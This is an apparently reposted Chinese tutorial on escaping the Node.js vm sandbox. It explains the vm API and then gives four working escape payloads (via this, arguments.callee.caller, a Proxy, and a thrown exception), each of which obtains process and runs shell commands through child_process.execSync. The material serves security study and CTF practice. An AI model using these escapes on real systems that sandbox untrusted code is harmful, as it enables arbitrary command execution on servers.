nodejs沙箱绕过

这篇具有很好参考价值的文章主要介绍了nodejs沙箱绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

沙箱绕过原理

VM模块

1.vm.createContext([sandbox])

2.vm.runInContext

3.vm.runInNewContext

4.vm.Script类 

5.new vm.Script(code, options)

绕过方法

1.通过this

2.在没有this的情况下采用arguments对象

3.使用Proxy来劫持所有属性

4..借助异常


沙箱绕过原理

沙箱绕过的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

VM模块

vm模块是Node.JS内置的一个模块。

理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

简单介绍一下vm模块的用法

1.vm.createContext([sandbox])

在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

2.vm.runInContext

vm.runInContext(code, contextifiedSandbox[, options])

参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

再多提一点别的

3.vm.runInNewContext

vm.runInNewContext(code[, sandbox][, options])

creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。

4.vm.Script类 

vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

5.new vm.Script(code, options)

创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。

code:要被解析的JavaScript代码

举一个常用的例子

const vm = require('vm');  //引入vm模块
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox); //创建沙箱对象
const res = vm.runInContext(script, context);//指定要执行的代码块和指定的沙箱
console.log(res)

绕过方法

1.通过this

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境

this.toString.constructor('return process')()
 

const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行的 this.toString 获得函数对象,this.toString.constructor获得函数对象的构造器Function ,Function中可以传入字符串类 "return process" 来获得process对象

第二行 利用process对象执行想要执行的代码whoami

这里有一个值得注意的地方

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?

这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

那么另一个问题,m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

2.在没有this的情况下采用arguments对象

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); //指向null啦
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

采用arguments对象

arguments.callee.caller获得调用这个函数的调用者。 arguments.callee,指向函数本身,arguments.caller指向函数的父类,调用者调用该函数者,类似于this

(() => {  

const a = {}  

a.toString = function () {    

const cc = arguments.callee.caller;    

const p = (cc.constructor.constructor('return process'))();   

return p.mainModule.require('child_process').execSync('whoami').toString()  

}  

return a })()

①a 是空对象,也是箭头函数最后要返回的对象

②a.toString修改了toString方法返回使用process子模块执行任意代码,且只对a对象起作用,

③cc 获取的就是 process对象

④res = vm.runInContext(script, context); res成为执行script代码后的新的对象script代码块最终返回a对象,所以其实就是a

⑤.console.log('Hello ' + res) 字符串拼接对象,自动调用a对象里的toString方法,执行我们想要的代码

3.使用Proxy来劫持所有属性

只要沙箱外获取了属性,我们仍然可以用来执行恶意代码

(() => {  

const a = new Proxy({}, { 

get: function() {      

const cc = arguments.callee.caller;      

const p = (cc.constructor.constructor('return process'))();     

 return p.mainModule.require('child_process').execSync('whoami').toString()

}  

})    

return a })()
//使用proxy代理操作拦截对象属性的读取,当读取数据的时候就触发proxy

4..借助异常

将沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞

具体的代码文章来源地址https://www.toymoban.com/news/detail-628585.html

vm = require('vm'); 

const code5 = `throw new Proxy({}, {    
 get: function() {     
 const cc = arguments.callee.caller;      
 const p = (cc.constructor.constructor('return process'))();      
 return p.mainModule.require('child_process').execSync('whoami').toString()    
 }  
 }) `; 
try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }
 catch(e)
 {    console.log('error happend: ' + e); }

到了这里,关于nodejs沙箱绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全提高篇] 一一九.恶意软件动态分析经典沙箱Cape的安装和基础用法详解

    终于忙完初稿,开心地写一篇博客。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未

    2024年02月13日
    浏览(47)
  • 网络安全-CDN绕过寻找真实IP

    CDN就是CDN加速,就是根据你的目标让你访问的更快 CDN,即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。说得简单点,就是一组在不同运营商之间的对接节点上的高速缓存服务器,把用户经常访问的静态数据资源(例如css,HTML)直接缓存

    2024年02月04日
    浏览(54)
  • [网络安全提高篇] 一二一.恶意软件动态分析Cape沙箱Report报告的API序列批量提取详解

    终于忙完初稿,开心地写一篇博客。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未

    2024年02月13日
    浏览(43)
  • 【网络安全】https与证书原理 | SSL Pinning及其绕过

    参考: https://segmentfault.com/a/1190000009002353?sort=newest https://zhuanlan.zhihu.com/p/353571366 https://juejin.cn/post/6863295544828444686 HTTPS=HTTP+TLS,其它的协议也类似,如FTPS=FTP+TLS 1) ClientHello Client 首先发送本地的 TLS 版本、支持的加密算法套件,并且生成一个随机数 R1 。 2)Server Hello Server 端确

    2024年02月05日
    浏览(46)
  • Socks5代理与网络安全:保护隐私、绕过限制与爬虫应用

    1. Socks5代理简介 Socks5代理是一种网络协议,允许数据在客户端与服务器之间进行传输。与HTTP代理不同,Socks5代理不仅支持TCP连接,还可以处理UDP流量,因此在某些需要实时数据传输的场景中表现出色。它能够代理各种应用层协议,为用户提供更灵活的网络体验。 2. 保护隐私

    2024年02月07日
    浏览(45)
  • 安全基础 --- nodejs沙箱逃逸

    沙箱绕过原理:沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱 前提:使用vm模块,实现沙箱逃逸环境。(vm模式是nodejs中内置的模块,是nodejs提供给使用者的隔离环境) 目的:拿到process模块 (1)Function构造函数实现 源代码

    2024年02月08日
    浏览(36)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验三 FreeRTOS-MPU 保护绕过

    写在最前:一定要 先将 task3.sct 文件链接到项目中 ,具体操作后文有写,而且我在附加内容里解释了sct文件的含义。 终于可以告别这个实践了。大家在心得里可以加一句“ 任务量较大,建议减少任务量 ”吗? MPU预设置: a) 编写 C 代码实现基于 FreeRTOS-MPU v10.4 的提权代码和

    2024年02月09日
    浏览(38)
  • 第七届福州大学信息安全竞赛——shellcode1 绕过strlen检查,绕过沙箱检查,执行orw shellcode拿到flag

    链接:https://pan.baidu.com/s/1HrMqh-lX-mkfueVeLzoEJg  提取码:oyel 这是一道非常让人蛋疼的题目,之前我只听说过沙箱,但是并没有自己实际接触过沙箱这个保护机制,大概作用就是开了沙箱之后,会禁用掉某些函数,一旦我们使用了这个函数,比如我们在栈溢出构造ROP,或者写入

    2024年02月04日
    浏览(45)
  • 【网络安全 --- 任意文件上传漏洞靶场闯关 6-15关】任意文件上传漏洞靶场闯关,让你更深入了解文件上传漏洞以及绕过方式方法,思路技巧

      首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识 超详细的网络安全笔记 分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记​编辑https://m.tb.cn/h.5JdFcih?tk=OuVrWRl9vMx%20CZ3457 https://m.tb.cn/

    2024年02月07日
    浏览(46)
  • 漏洞复现--原型链污染、沙箱逃逸绕过

    目录 一、原型链污染 1.prototype和__proto__区别??? 2.原型链污染是什么??? 3.哪些情况原型链会被污染??? 4.原型链污染例题 二、沙箱逃逸绕过 1.如何实现沙箱逃逸?  2.如何实现绕过? 原型污染是一个安全漏洞,非常特定于 JavaScript。 __proto__ 检查其成员或调用来找出

    2024年02月14日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包